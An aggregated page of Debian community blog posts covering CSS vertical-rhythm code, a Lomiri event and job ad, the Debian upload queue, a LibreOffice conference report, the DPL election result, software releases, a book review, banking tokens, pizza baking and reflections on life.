With JavaScript, we can add padding around the image so it does not disturb the vertical rhythm:

const targets = document.querySelectorAll(".lf-media-outer");
const adjust = (el, height) => {
  const rlh = parseFloat(getComputedStyle(document.documentElement).lineHeight);
  const padding = Math.ceil(height / rlh) * rlh - height;
  el.style.padding = `${padding / 2}px 0`;
};

targets.forEach((el) => adjust(el, el.clientHeight));
Screenshot of my website with a grid as an overlay and an image not breaking the vertical rhythm. Additional padding is visible before and after the image. The height of the image with padding is 216.
The image is snapped to the grid thanks to the additional padding computed with JavaScript. 216 is divisible by 27, our line height in this example.

As the image is responsive, its height can change. We need to wrap a resize observer around the adjust() function:

const ro = new ResizeObserver((entries) => {
  for (const entry of entries) {
    const height = entry.contentBoxSize[0].blockSize;
    adjust(entry.target, height);
  }
});
for (const target of targets) {
  ro.observe(target);
}

Tables

Table cells could set 1rlh as their height but they would feel constricted. Using 2rlh wastes too much space. Instead, we use incremental leading: we align one in every five lines.

table {
  border-spacing: 2px 0;
  border-collapse: separate;
  th {
    padding: 0.4rlh 1em;
  }
  td {
    padding: 0.2rlh 0.5em;
  }
}

To align the elements after the table, we need to add some padding. We can either reuse the JavaScript code from images or use a few lines of CSS that count the regular rows and compute the missing vertical padding:

table:has(tbody tr:nth-child(5n):last-child)   { padding-bottom: 0.2rlh; }
table:has(tbody tr:nth-child(5n+1):last-child) { padding-bottom: 0.8rlh; }
table:has(tbody tr:nth-child(5n+2):last-child) { padding-bottom: 0.4rlh; }
table:has(tbody tr:nth-child(5n+3):last-child) { padding-bottom: 0 }
table:has(tbody tr:nth-child(5n+4):last-child) { padding-bottom: 0.6rlh; }

A header cell has twice the padding of a regular cell. With two regular rows, the total padding is 2×2×0.2+2×0.4=1.6. We need to add 0.4rlh to reach 2rlh of extra vertical padding across the table.

Screenshot of my website with a grid as an overlay and a table following the vertical rhythm. Additional padding is visible after the table. The height of the table with padding is 405.
One line out of five is aligned to the grid. Additional padding is added after the table to not break the vertical rhythm. 405 is divisible by 27, our line height in this example.

None of this is necessary. But once you start looking, you can’t unsee it. Until browsers implement CSS Rhythmic Sizing, a bit of CSS wizardry and a touch of JavaScript is enough to pull it off. The main text now returns after each intrusion “precisely on beat and in phase.” 🎼

  1. See “Vertical rhythm using CSS lh and rlh units” by Paweł Grzybek. ↩

  2. For broader compatibility, you can replace 2rlh with calc(var(--line-height) * 2rem) and set the --line-height custom property in the :root pseudo-class. I wrote a simple PostCSS plugin for this purpose. ↩

  3. It would have been nicer to compute the line height with calc(round(up, calc(2.4rem / 1rlh), 0) * 1rlh). Unfortunately, typed arithmetic is not supported by Firefox yet. Moreover, browsers support round() only since 2024. Instead, I coded a PostCSS plugin for this as well. ↩

  4. The following CSS code defines a grid tracking the line height:

    body {
  position: relative;
}
body::after {
  content: "";
  position: absolute;
  inset: 0;
  z-index: 9999;
  background: linear-gradient(180deg, #c8e1ff99 1px, transparent 1px);
  background-size: 20px 1rlh;
  pointer-events: none;
}

    ↩

  5. See “Deep dive CSS: font metrics, line-height and vertical-align” by Vincent De Oliveira. ↩

22 April, 2026 07:48PM by Vincent Bernat

April 21, 2026

hackergotchi for Mike Gabriel

Mike Gabriel

Join us at Lomiri CodeFest on May 16-17 & Fre(i)e Software GmbH is hiring more Lomiri Developers

Lomiri Codefest in Tilburg NL (May 16-17 2026)

Just a quick invitation to an in-person event in Tilburg, the Netherlands.

All people interested in the Lomiri Operating Environment are invited to join us at the Lomiri Codefest [codefest] taking place on May 16-17 (participation is free of charge).

We are hiring Lomiri developers

And as another side node, we still have budget (until 07/2027) for 2-3 additional Lomiri developers (depends on each devs weekly availability). The details of my previous post [hiringdetails] +/- still apply. One more limitation / strength: You need real coding skills to apply for the open positions, AI-generated contributions will not be accepted for the tasks at hand.

If you are interested and a skilled FLOSS developer (you need previous OSS contributions as references) and available with at least 10 hrs / week, please get in touch [fsgmbh].

References

[codefest] https://codefest.os-sci.info/?lang=en
[hiringdetails] https://sunweavers.net/blog/node/150
[fsgmbh] https://freiesoftware.gmbh/

21 April, 2026 05:35PM by sunweaver

Sergio Cipriano

How to view the Debian Upload Queue

How to view the Debian Upload Queue

Some people may not know this, but the Debian Upload Queue is public and very easy to access:

$ curl ftp://ftp.upload.debian.org/pub/UploadQueue/
drwxr-sr-x   18 1518     1281         4096 Jun 26  2019 DELAYED
-rw-r--r--    1 1518     1281         3442 Jul 14  2025 README
-rw-r-----    1 117      1281         3052 Apr 20 21:32 neovim-tokyonight_4.14.1-1.debian.tar.xz
-rw-r-----    1 117      1281         2119 Apr 20 21:32 neovim-tokyonight_4.14.1-1.dsc
-rw-r-----    1 117      1281         5533 Apr 20 21:32 neovim-tokyonight_4.14.1-1_amd64.buildinfo
-rw-r-----    1 117      1281         2637 Apr 20 21:32 neovim-tokyonight_4.14.1-1_source.changes
-rw-r-----    1 117      1281       197584 Apr 20 21:32 neovim-tokyonight_4.14.1.orig.tar.gz

21 April, 2026 03:16PM

Ravi Dwivedi

LibreOffice Conference Budapest 2025

In September 2025, I attended the LibreOffice Conference in Budapest, Hungary, on the 4th and the 5th, and a community meeting on the 3rd. Thanks to The Document Foundation (TDF) for sponsoring my travel and accommodation costs. The conference venue was Faculty of Informatics, Eötvös Loránd University (ELTE).

The conference was planned to be held from the 4th to the 6th, but the program for the 6th of September had to be canceled due to the venue being unavailable because of a marathon in Budapest. So, all the talks got squeezed into just two days, making the schedule a bit hectic.

The TDF had booked my room at the Corvin Hotel. It was a double bedroom with a window. The breakfast was included in the hotel booking. The hotel was walking distance from the conference venue. One could also take a tram from the hotel to reach the venue.

A double bed

A shot of my room. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

Tram

A tram in Budapest. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

3rd of September

On the 3rd of September, we had a community meeting at the above-mentioned venue. I walked with my friend Dione to the venue. Upon reaching there, I noticed that the university had no boundaries and gates. This reminded me of the previous year’s conference venue in Luxembourg, which also had no boundaries or gates.

In contrast, Indian universities and institutes typically have walls and gates serving as boundaries to separate them from the rest of the city. Many of these institutes also have security guards at the entrance, who may ask attendees to present proof of admission before allowing them inside. I was surprised to find that institutes in Europe, like the one where the conference was held, did not have such boundaries.

The building where the conference was held was red, which happened to be the same color as the building for the previous year’s conference venue. I remember joking with Dione that the criteria for the conference venue might have been the color of the building.

A red building

The red building in the picture served as the conference venue. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

During the community meeting, we shared ideas on how to spread the word about LibreOffice. The meeting lasted for a couple of hours.

After the community meeting, we went to the hotel for dinner sponsored by the TDF.

Cake slices

These Esterházy cake bites were really yummy. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

Raspberry Currant cake slices

Raspberry Currant cake slices. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

4th of September

On the first day of the conference, attendees were given swag bags containing a pad, sticky notes, a pen, a conference T-shirt, and a bottle.

A blue colored T-shirt on a bed along with a pen, a bottle, a diary and a sticky note

Conference swag. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

The talks started early in the morning with Eliane Domingos, Chairperson of TDF’s Board of Directors, giving the inauguration talk. As always, I found Italo Vignoli’s talk on the importance of document freedom interesting.

During the snack break, I noticed that there were three types of milk available for coffee: cow’s milk, lactose-free milk, and almond milk. Almond milk is rare in India, but I have managed to get it, but I have never seen lactose-free milk in India.

Since I run fundraisers in my projects, such as Prav, I could relate to Lothar K. Becker’s talk. He discussed the issue that certain implementations in LibreOffice require a budget that is too large for any single interested entity to fund independently. Furthermore, The Document Foundation (TDF) cannot legally receive funds from government entities. Therefore, there is no organization or entity to pool resources from all the interested entities to finance the implementation.

Lothar giving his presentation

Lothar giving his presentation. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

Another talk was by the Austrian Armed Forces on their migration to LibreOffice. I wanted to know why they migrated, and I found out that they did it for their digital sovereignty, and not for saving on the license costs. Another point presented in the talk was that LibreOffice is available on all the operating systems, while the Microsoft Office suite is not that widely available. The migration was systematic and was performed over a few years. They started working on it in 2021, and the migration was finished recently. In addition, it also required training their staff in using LibreOffice.

Presentation on migration to LibreOffice by Austrian Armed Forces

Presentation on migration to LibreOffice by Austrian Armed Forces. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

The lunch was inside the university canteen. We were provided lunch coupons by the TDF. I got a vegan coupon with 4000 Ft written on it, which meant I could take lunch for up to 4000 Hungarian forints.

My lunch ticket

My lunch ticket for the conference. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

The lunch I had on the first day

The lunch I had on the first day. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

During the evening, it was my turn for the presentation. I was done with preparing my slides ten days before my talk. I also got my slides reviewed by friends.

My talk was finished in 20 minutes, while I was given a 30-minute slot. This helped us catch up on the schedule. Furthermore, I made my talk interactive by asking questions and making sure that the audience was not asleep. During my talk, my friend Dione took my pictures with my camera.

My talk was on how free software projects could give users a say in freedom to modify the software. I illustrated this using the Prav project that I am a part of.

After the talks were over, we were treated to a conference dinner at Trofea Grill. It had a great selection of desserts, which helped me sample some Hungarian desserts. The sponge cake was especially good.

Desserts at Tofea Grill

Desserts at Tofea Grill. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

5th of September

The next day—the 5th of September—I went with Dione to the venue early in the morning, as her talk was the first one of the day. Her talk was titled Managing Tasks with Nextcloud Deck. Later that day, I also attended a talk on Collabora. At lunch, I found the egg white salad quite tasty.

Dione giving her presentation

Dione giving her presentation. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

Egg white salad

Egg white salad. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

After the lunch break, we had the conference group photo. I had a Nikon camera, which we used to take the group photo. I requested a university student to take our group photo and also taught her how to operate the camera.

People looking at the camera and smiling

Group photo

By the evening, the conference ended, after which we went to a pub, which was again sponsored by TDF. I had beer, but that one really tasted bad, so I couldn’t finish it. The only vegetarian option was goat cheeseburger, which my friend Manish and I opted for. The burger tasted awful. Apparently, I don’t like goat cheese.

The next day I went sightseeing with Dione in Budapest. Stay tuned for our adventures!

Credits: Thanks to Dione and Richard for proofreading.

21 April, 2026 03:54AM

April 20, 2026

hackergotchi for Bits from Debian

Bits from Debian

Debian Project Leader election 2026 is over, Sruthi Chandran elected!

The voting period and tally of votes for the Debian Project Leader election has just concluded, and the winner is Sruthi Chandran. Congratulations!

347 out of 1,039 Developers voted using the Condorcet method.

More information about the results of the voting is available on the Debian Project Leader Elections 2026 page.

Many thanks to Sruthi Chandran for her campaign, to our Developers for their votes, and to Andreas Tille for his service as DPL over the past two years!

The new term for the project leader will start on April 21, 2026 and expire on April 20, 2027.

20 April, 2026 05:00PM by Jean-Pierre Giraud

hackergotchi for Sune Vuorela

Sune Vuorela

Kookbook 0.3.0 released

I recently released version 0.3.0 of my recipe manager application Kookbook – find it in git in KDE Invent or as released tarballs in https://download.kde.org/stable/kookbook/

Changes since last time is more or less “Minor bugfixes and a Qt6 port” – nothing as such noteworthy unless you aim to get rid of Qt5 on your system.

so what is kookbook?
It is a simple recipe viewer that works with semi-structured markdown. More details can be seen in the quite old 0.1.0 announcement

At some point I should do a 10 recipe example collection, but my personal collection is in danish, so I’m not sure it is going to be useful. Unless someone will donate me some handfuls of pre-formatted recipes, I will happily announce it.

20 April, 2026 03:01PM by Sune Vuorela

Russ Allbery

Review: Surface Detail

Review: Surface Detail, by Iain M. Banks

Publisher: Orbit
Copyright: October 2010
Printing: May 2011
ISBN: 0-316-12341-2
Format: Trade paperback
Pages: 627

Surface Detail is the ninth novel in Banks's Culture science fiction (literary space opera?) series. As with most of the Culture novels, it can be read in any order, although this isn't the best starting point. There is an Easter egg reference to Use of Weapons that would be easier to notice if you have read that book recently, but which is not that important to the story.

Lededje Y'breq is an Indented Intagliate from the Sichultian Enablement. Her body is patterned from her skin down to her bones, covered with elaborate markings similar to tattoos that extend to her internal organs. As an intagliate, she is someone's property. In her case, she is the property of Joller Veppers, the richest man in the Enablement and her father's former business partner. Intagliates are a tradition of great cultural pride in the Enablement. They are a living representation of the seriousness with which debts and honor are taken, up to and including one's not-yet-born children becoming the property of one's debtor. Such children are decorated as living works of art of the highest skill and technical sophistication; after all, the Enablement are not barbarians.

As the story opens, Lededje is attempting, not for the first time, to escape. This attempt is successful in an unexpected way.

Prin and Chay are Pavulean researchers and academics who, as this story opens, are in Hell. They are not dead; they have infiltrated the Hell that Pavuleans are shown to scare them into proper behavior in order to prove that it is not an illusion and their society does indeed torture people in an afterlife, in more awful ways than people dare imagine. They have reached the portal through which temporary visitors exit, hoping to escape with firm evidence of the existence and horrors of the Pavulean afterlife. They will not be entirely successful.

Yime Nsokyi is a Culture agent for Quietus, the part of Contact that concerns itself with the dead. Many advanced societies throughout the galaxy have invented and reinvented the ability to digitize a mind and then run it in a virtual environment. Once a society can capture the minds of every person in that society from that point forward, it faces the question of whether to do so and, if it does, what to do with those minds. More specifically, it faces the moral question of whether to punish the minds of people who were horrible in life. It faces the question of whether to create Hell.

Vatueil is a soldier in a contestation, a limited and carefully monitored virtual war. The purpose of that war game is to, once and for all, resolve the question of whether civilizations should be allowed to create Hells. Some civilizations consider them integral to their religion or self-conception. Others consider them morally abhorrent, and that conflict was in danger of spilling over into war in the Real. Hence the War in Heaven: Both sides committed to fight in a virtual space under specific and structured rules, and the winner decides the fate of the galaxy's Hells. Vatueil is fighting for the anti-Hell side. The anti-Hell side is losing.

There are very few authors who were better at big-idea science fiction than Iain M. Banks. I've been reading a few books about AI ships and remembered that I had two unread Culture novels that I was saving. It felt like a good time to lose myself in something sprawling.

Surface Detail does sprawl. Even by Banks's standards, there was an impressive amount of infodumping in this book. Banks always has huge and lovingly described set pieces, and this book is no exception, but there are also paragraphs and pages of background and cultural musings and galactic politics. We are introduced to not one but three new Contact divisions; as well as the already-mentioned Quietus, there is Numina, which concerns itself with the races that have sublimed (transcended), and Restoria, which deals with hegemonizing swarms (grey goo nanotech, paperclip maximizers, and their equivalents).

Infodumping is both a feature and a bane of big-idea science fiction, and it helps to be in the right mood. It also helps if the info being dumped is interesting, and this is where Banks shines. This is a huge, sprawling book, but it deals with some huge, sprawling questions and it has interesting and non-reductive thoughts about them. The problems posed by the plot come with history, failed solutions, multi-sided political disputes, strategies and tactics of varying morality and efficacy, and an effort to wrestle with the irreducible complexity of trying to resolve political and ethical disagreements in a universe full of profound disagreements and moral systems that one cannot simply steamroll.

It also helps that the characters are interesting, even when they're not likable. Surface Detail has one fully hissable villain (Veppers) as a viewpoint character, but even Veppers is interesting in a "let me check the publication date to see if Banks was aware of Peter Thiel" sort of way. The Culture ships, of which there are several in this story, tend towards a gently sarcastic kindness that I find utterly charming. Lededje provides the compelling motive force of someone who has no involvement in the broader philosophical questions and instead intends to resolve one specific problem through lethal violence. Vatueil and Yime were a bit bland in personality, more exposition generators than characters I warmed to, but their roles and therefore the surrounding exposition were fascinating enough that I still enjoyed their sections.

I'm sure this is not an original observation, but I was struck reading this book in the first half of 2026 that the Culture functions as an implementation of what the United States likes to think it is but has never been. It has a strong sense of shared ethics and moral principles, it tries to export them to the rest of the galaxy through example, persuasion, and careful meddling, but it tries to follow some combination of pragmatic and moral rules while doing so, partly to avoid a backlash and partly to avoid becoming its own sort of hegemonizing swarm. That is a powerfully attractive vision of how to be an advanced civilization, and the fact that every hegemon that has claimed that mantle has behaved appallingly just makes it more intriguing as a fictional concept. In this book, like in many Culture books, the Culture is painfully aware of the failure modes of meddling, and the story slowly reveals the effort the Culture put into staying just on a defensible side of their own moral lines. This is, in a sense, a Prime Directive story, but with a level of hard-nosed pragmatism and political sophistication that the endless Star Trek Prime Directive episodes never reach.

Surface Detail does tend to sprawl, and I'm not sure Banks pulled together all the pieces of the plot. For example, if there was a point to the subplot involving the Unfallen Bulbitian, it was lost on me. (There is always a possibility with Banks that I wasn't paying close enough attention.) But the descriptions are so elaborate and the sense of politics and history are so deep that I was never bored, even when following a plot thread that meandered off into apparent irrelevance. The main plot line comes to a satisfying conclusion that may be even more biting social commentary today than it was in 2010.

A large part of the plot does involve Hell, so a warning for those who haven't read much Banks: He adores elaborate descriptions of body horror and physical torture. The sections involving Prin and Chay are rather grim and horrific, probably a bit worse than Dante's Inferno. I have a low tolerance for horror and I was able to read past and around the worst bits, but be warned that Banks indulges his love for the painfully grotesque quite a bit.

This was great, and exactly what I was hoping for when I picked it up. It's not the strongest Culture novel (for me, that's either The Player of Games or Excession), but it's one of the better ones. Highly recommended, although if you're new to the Culture, I would start with one of the earlier books that provide a more gradual introduction to the Culture and Special Circumstances.

Followed, in the somewhat disconnected Culture series sense, by The Hydrogen Sonata.

Content warnings: Rape (largely off-screen), graphic violence, lots of Bosch-style grotesque torture, and a lot of Veppers being a thoroughly awful human being as a viewpoint character.

Rating: 8 out of 10

20 April, 2026 04:26AM

April 18, 2026

hackergotchi for Charles Plessy

Charles Plessy

Thanks Branchable!

I was hosted for a long time, free of charge, on https://www.branchable.com/ by Joey and Lars. Branchable and Ikiwiki were wonderful ideas that never took off as much as they deserved. To avoid being a burden now that Branchable is nearing its end, I migrated to a VPS at Sakura.

However, I have not left Ikiwiki. I only use it as a site engine, but I haven't found any equivalent that gives me both native Git integration, wiki syntax for a personal site, the creativity of its directives (you can do anything with inline and pagespec), and its multilingual support through the po plugin.

Joey and Lars, thank you for everything!

18 April, 2026 01:37PM

Matthias Klumpp

Hello old new “Projects” directory!

If you have recently installed a very up-to-date Linux distribution with a desktop environment, or upgraded your system on a rolling-release distribution, you might have noticed that your home directory has a new folder: “Projects”

Why?

With the recent 0.20 release of xdg-user-dirs we enabled the “Projects” directory by default. Support for this has already existed since 2007, but was never formally enabled. This closes a more than 11 year old bug report that asked for this feature.

The purpose of the Projects directory is to give applications a default location to place project files that do not cleanly belong into one of the existing categories (Documents, Music, Pictures, Videos). Examples of this are software engineering projects, scientific projects, 3D printing projects, CAD design or even things like video editing projects, where project files would end up in the “Projects” directory, with output video being more at home in “Videos”.

By enabling this by default, and subsequently in the coming months adding support to GLib, Flatpak, desktops and applications that want to make use of it, we hope to give applications that do operate in a “project-centric” manner with mixed media a better default storage location. As of now, those tools either default to the home directory, or will clutter the “Documents” folder, both of which is not ideal. It also gives users a default organization structure, hopefully leading to less clutter overall and better storage layouts.

This sucks, I don’t like it!

As usual, you are in control and can modify your system’s behavior. If you do not like the “Projects” folder, simply delete it! The xdg-user-dirs utility will not try to create it again, and instead adjust the default location for this directory to your home directory. If you want more control, you can influence exactly what goes where by editing your ~/.config/user-dirs.dirs configuration file.

If you are a system administrator or distribution vendor and want to set default locations for the default XDG directories, you can edit the /etc/xdg/user-dirs.defaults file to set global defaults that affect all users on the system (users can still adjust the settings however they like though).

What else is new?

Besides this change, the 0.20 release of xdg-user-dirs brings full support for the Meson build system (dropping Automake), translation updates, and some robustness improvements to its code. We also fixed the “arbitrary code execution from unsanitized input” bug that the Arch Linux Wiki mentions here for the xdg-user-dirs utility, by replacing the shell script with a C binary.

Thanks to everyone who contributed to this release!

18 April, 2026 08:06AM by Matthias

Yifei Zhan

CommBank hardware MFA token

A while ago, CommBank started asking for MFA confirmation on its mobile app for every NetBank login on a browser. Previously, there was an option to use SMS for MFA, which isn’t as secure as I would like, but it was at least usable. Since I’m switching away from Android to Mobian and won’t be able to use the CommBank app for much longer, I applied for a physical NetCode token.

The hardware is made by Digipass and looks disposable. It is a small, battery powered gadget with a screen and a button. When pressed, it shows a temporary NetCode for authentication. Such a NetCode is required both for NetBank logins and approving online transactions.

The letter that came with it has the wrong link for activation, the correct link is under NetBank -> Settings -> NetCode (under the Security section)

To apply for a physical token, call the NetBank team, mention you can’t use the app and need a physical NetCode token, and make sure they actually submit your request for a token. It took me 2 calls to get them to ship me a token. The hardware is free of charge but can only be applied for via phone call; unfortunately staff members at my local branch are unable to do anything in relation to NetBank. I was told privately by a CommBank employee that they are deprecating the hardware token in favor of the mobile app, I hope that won’t happen anytime soon, or that they add support for passkeys before they do. The last time I checked, the CommBank app was LineageOS-friendly, but I don’t want to configure WayDroid just to do online banking.

PayID, the thing that allows you to receive payment via a phone number or email address, is not compatible with the hardware token, and existing PayID will be silently deactivated if you use hardware token. This looks to be an artificial restriction; I don’t see why it has to be this way.

Regular CommBank mobile app sessions will also be de-activated once the hardware token is activated (I was told so but my sessions weren’t deactivated until I wiped my Android phone), and you won’t be able to sign into mobile app again until you manually disable the NetCode token.

Online banking has been getting progressively more invasive and anti-user over the last decade, from demanding remote attestation to requiring real time location data, each time locking certain features when those demands are not satisfied; all based on the flawed assumptions that everyone owns a phone running a certain flavor of iOS or Android, and has it ready all the time. I’m not sure what can be done to reverse this trend, but on the personal level I will use NetBank less and go back to cash.

18 April, 2026 12:00AM

Valhalla's Things

Pizza!

Posted on April 18, 2026
Tags: madeof:atoms, craft:cooking

This post contains a bit of consumerism and is full of references to commercial products, none of which caused me to receive any money nor non-monetary compensation.

This post has also been written after eating in one meal the amount of bread-like stuff that we usually have in more than 24 hours.

I’ve been baking bread since a long time ago. I don’t know exactly when, but probably it was the early 2000s or so, and remained a regular-ish thing until 2020, when it became an extremely regular thing, as in I believe I bake bread on average every other day.

In the before times, I’ve had a chance to bake pizza in a wood fired oven a few times: a friend had one and would offer the house, my partner would mind the fire, and I would get there with the dough and prepare the pizza.

Now that we have moved to a new house, we don’t have a good and convenient place for a proper wood fired oven in masonry, but we can use one of the portable ones, and having dealt with more urgent expenses, I decided that just before the potential collapse of the global economy was a good time as any to buy the oven I had been looking at since we found this house.

I decided to get an Ooni Karu 2, having heard good things about the brand, and since it looked like a good balance between size and portability. I also didn’t consider their gas fired ovens (nor did I buy the gas burner) because I’m trying to get rid of gas, not add stuff that uses it, and I didn’t get an electric one because I’m not at all unhappy with the bakery-style pizza we make in our regular oven, and I have to admit we also wanted to play with fire1.

We also needed an outdoor table suitable to use the oven on and store it. Here I looked for inspiration at the Ooni tables (and for cheaper alternatives in the same style), but my mother who shares the outdoor area with us wasn’t happy with the idea of steel2. And then I was browsing the modern viking shores, and found that there was a new piece in the NÄMMARÖ series my mother likes (and of which we already have some reclining chairs): a kitchen unit in wood with a steel top.

At first I expected to just skip the back panel, since it would be in the way when using the oven, but then I realized that it could probably be assembled upside down, down from the top between the table legs, and we decided to try that option.

This week everything had arrived, and we could try it.

Yesterday evening, after dinner (around 21, I think) I prepared the dough with the flour I usually use for bakery-style pizza: Farina di Grano Tenero Tipo 0 PANE (320 - 340 W); since I wanted to make things easier for myself I only used 55% hydration, so the recipe was:

  • 1 kg flour
  • 550 g water
  • 2 g dry yeast
  • 12 g salt

The next time I think I’ll try with one of my other staples: Molino Bogetto etichetta blu (260/280 W)

Then this morning we assembled the NÄMMARÖ, then I divided the dough in eight balls, put them in a covered — but not sealed — container 3, well floured with rice flour and then we fired the oven (as in: my partner did, I looked for a short while and then set the table and stuff), using charcoal, because we already had some, and could conveniently get more at the supermarket.

When the oven had reached temperatures in the orange range4 I stretched the smallest ball out, working on my wooden peel, sprayed it with water5, sprinkled it with coarse salt and put it in the oven.

After 30 seconds I turned it around with the new metal peel, then again after 30 seconds, and then I lost count of how many times I repeated this6, but it was probably 2 or 3 minutes until it looked good.

A flatbread on a regular plate: it's only a bit more than half the plate in diameter, puffed up near the borders and thin in the middle, and only lightly browned in places, not burnt. It's sitting on the lower shelf of a wooden table.

And it was good. The kind of pizza that is quite soft, especially near the borders.

We ate it with fresh mozzarella and tomatoes, and then made another one the same way, to finish the mozzarella.

Another flatbread on the same plate, this time it's about 4 cm smaller than the plate on all sides, and it's covered with brownish-red chopped up vegetables.

This was supposed to be our lunch, but we decided to try one with some leftover cooked radicchio, and that also worked quite nicely.

And finally, we decided we needed to try a more classical pizza, with tomato sauce and cured meat, of which we forgot to take pictures.

Up to here we had eaten about half of the dough, and we were getting full: I had prepared significantly more than what I expected to eat, to be able to accidentally burn some, but also with the idea to bake something else to be eaten later.

So I made two more focaccias with just water and salt, and then I tried to cook some bread with what I expected to be residual heat.

Another flatbread with coarse salt and two bread rolls, one of which is completely carbonized on one side. The other one has been cut, and while it has a carbonized spot, it is also well cooked in the middle, and perfectly edible.

Except that the oven was getting a bit too cold, so my partner added some charcoal, and when I put the last two unflattened balls right at the back of the oven where it was still warmer, that side carbonized. After 5 minutes I moved them to the middle of the oven, and turned them, and then after another turn and 5 more minutes they were ready. And other than the burnt crust, they were pretty edible.

So, the thoughts after our first experience. Everybody around the table (my SO, my mother and me) was quite happy with the results, and they are different enough from the ones I could get with the regular oven.

As I should have expected, it’s much faster than a masonry oven, both in getting to temperature and in cooling down: my plan for residual heat bread cooking will have to be adjusted with experience.

We were able to get it hot enough, but not as hot as it’s supposed to be able to get: we suspect that using just charcoal may have influenced it, and next week we’ll try to get some wood, and try with a mix.

As for the recipe, dividing the dough in eight parts worked quite well: maybe the pizzas are a bit on the smaller side, but since they come one at a time it’s more convenient to cut and share them, and maybe make a couple more at the end.

Of course, I’ll want to try different recipes, for different styles of pizzas (including some almost-trademark-violating ones) and for other types of flatbread.

I expect it won’t be hard to find volunteers to help us with the experiments. :D

  1. any insinuation that there may have been considerations of having a way to have freshly baked bread in case of a prolonged blackout may or may not be based on reality. But it wasn’t the only — or even the main — reason.↩︎

  2. come on! it’s made of STEEL. how can it be not good? :D↩︎

  3. IKEA 365+ 3.1 glass, the one that is 32 cm × 21 cm × 9 cm; it was just big enough for the amount of dough, and then I covered it with a lid that is missing the seal.↩︎

  4. why did they put a thermometer on it, and not add labels with the actual temperature? WHY???↩︎

  5. if you don’t have dietary restrictions a bit of olive oil would taste even better.↩︎

  6. numbers above 2 are all basically the same, right?↩︎

18 April, 2026 12:00AM

April 16, 2026

Sahil Dhiman

What is Life (to you)?

It started with a thought: to understand people’s perspectives on life and its meaning. So I texted folks, “What is life (to you)?”. Each of the following list items (-) is a response from a different individual, mostly verbatim.

- A lot

- Everyone has a few universal basic qualities, and some special qualities. To me life is pursuit of exploring world based on those qualities and maturing those qualities as one goes on about exploring world/life with those qualities.
Discovering and enhancing experiences as one goes through them.

- life is endless suffering

- my answer might change daily, but this is what I’ve noticed and feel recently. Life is a spectrum with two distinct ends: what we control and what we don’t. At birth, the spectrum is largely tilted toward control, but throughout our lives, it gradually shifts toward the other side. Ultimately, as we approach death, we lose all control over any aspect of our existence, reaching the other end of the spectrum.
tho this isn’t universal, privilege plays a huge part in what you control tho i believe it holds true for the majority
but yeah man, meaning and purpose are dynamic, it’s in their nature to change i can give you a different answer this evening itself xD

- Funeral Monologue from Synecdoche, New York. https://www.youtube.com/watch?v=Z9PzSNy3xj0

- Zindagi ek nadiya hai, Aur mujhe tairna nahi aata
(translation - Life is a river, and I don’t know how to swim)
On a more serious note, Life is what you make it out for yourself. The only established truth is that it will end. We can never know if there is something after or if there was something before. So try to live a life that you feel aspired by? But this question was beautifully answered by that book which you had about that dying professor
(Me - He was talking about Tuesday’s with Morrie)

- My answer is 42

- One, it’s living on your own terms, you define everything for yourself, success, normal, whatever. You get to curate your version of it no matter the societal norms.
It’s an accumulation of experiences - friends, parents, work, activities, doing shit loads. Sab try karo- travel, zumba, art, music, workout, sports, dil kara ye karna hai karlo. (translation - If your heart wants to do it, just do it.)
Then I think relationships - all that you’ve nurtured, people forget maintaining people because of work. It takes efforts to keep people in your life, everyone that comes has a place in yours, how well thats stays is upto you. You also get to curate your people, who stays who don’t. Family toh hai hi (translation - family is there) but everyone else that comes along can make it pretty good.
So I don’t want to be 50 and be like chalo ab kuch apne liye karte hai… (translation - Come on, now let’s do something for ourselves) Do whatever shit you want today. Not everything costs money, and if it does get thrifty
But do keep healthy while doing all of that

- Being alive so that my daughter can grow up and i can help raising her kids as well. Raising kids without mother is tough :P

- Definitively, I feel like Life is a by product of proteins and energy working together. But in a more personal sense, Life is a dumb joke played onto us. It’s a rat race. But rats exists because of life and then it becomes a chicken-egg problem
Honestly, I don’t give good answers to life questions. I’m generally the one asking
Life can be like a box of chocolates, you don’t know what you’re gonna get untill you experience the chocolate(assuming the chocolates are heterogenous and contains a mix of everything)
Camus once said, “Life is a revolt”, and one of his students added more spice to it like “Life is a revolt against the meaninglessness of existence"
I kinda feel like Life is the pursuit of every person’s search for meaning

- Imprisonment waiting for execution 😄
I have one more thought while we are on the topic , game with pre defined starting position and predefined destination , path to reach is a maze

- A phase where you can have a really good time or really bad one, usually the mix of both. A phase where you are prisoner to responsibility and materialistic wants.
It’s a hell for you, where you try to create heaven for others. Being born was never your choice, but ending is always in your hands but you are a prisoner. You fear that leaving this world behind will destroy the heavens you created for others and they will be back to hell. But eventually everyone moves on watching the hourglass of their life.
Once you are left with no desires or no one to create heavens for, you look arround yourself. You see everyone chasing something, everyone scared of their limitted life time sliping away yet you want it to end sooner.
Doesn’t matter if it was all good till now, or all bad. The other half is waiting for redemption. If it was all good, it’s best time to die don’t wait for the bad to start. If was all bad, it’s still the best time to die what if it was the good one and more worst is waiting for you. We desire to be remembered, yet we want to free from this loop of suffering.
Someone once said, life is a suffering, chose your sufferings.

- Life to me is to live without regrets and live with freedom.
Life is always unpredictable and this unpredictability makes it more interesting and worth it.

- As of now, for the state of mind that I am in , I think for me life is about subtle struggle, subtle inconveniences and yet moving forward cause that’s all I know.
I am not sure if any of this has any meaning, but sometimes I feel I was born of a purpose and that the universe has my back.
For me it’s about raising my consciousness, understanding people to their depths, gaining moderate material success and helping people to some extend.
I have tried to seek a grander meaning but I have failed.
Life for me is what I make out it.
In my times of great success i rarely think about life for I am busy enjoying it, whatever you may call that state of mind.

- For me its the little things that you enjoy with YOUR people

